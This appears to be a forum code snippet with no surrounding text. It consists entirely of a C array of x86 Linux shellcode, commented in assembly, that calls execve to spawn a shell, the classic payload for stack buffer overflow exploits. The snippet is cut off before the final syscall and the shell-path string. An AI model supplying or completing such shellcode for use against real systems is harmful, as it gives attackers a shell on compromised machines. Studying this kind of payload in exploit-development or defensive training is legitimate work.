[code:1]
char shellc0de[] =
"\xeb\x2a" //jmp 0x2a
"\x5e" //popl %esi
"\x89\x76\x08" //movl %esi,0x8(%esi)
"\xc6\x46\x07\x00" //movb $0x0,0x7(%esi)
"\xc7\x46\x0c\x00\x00\x00\x00" //movl $0x0,0xc(%esi)
"\xb8\x0b\x00\x00\x00" //movl $0xb,%eax
"\x89\xf3" //movl %esi,%ebx
"\x8d\x4e\x08" //leal 0x8(%esi),%ecx
"\x8d\x56\x0c" //leal 0xc(%esi),%edx
"\xcd\x80" //int $0x80
"\xb8\x01\x00\x00\x00" //movl $0x1,%eax
"\xbb\x00\x00\x00\x00" //movl $0x0,%ebx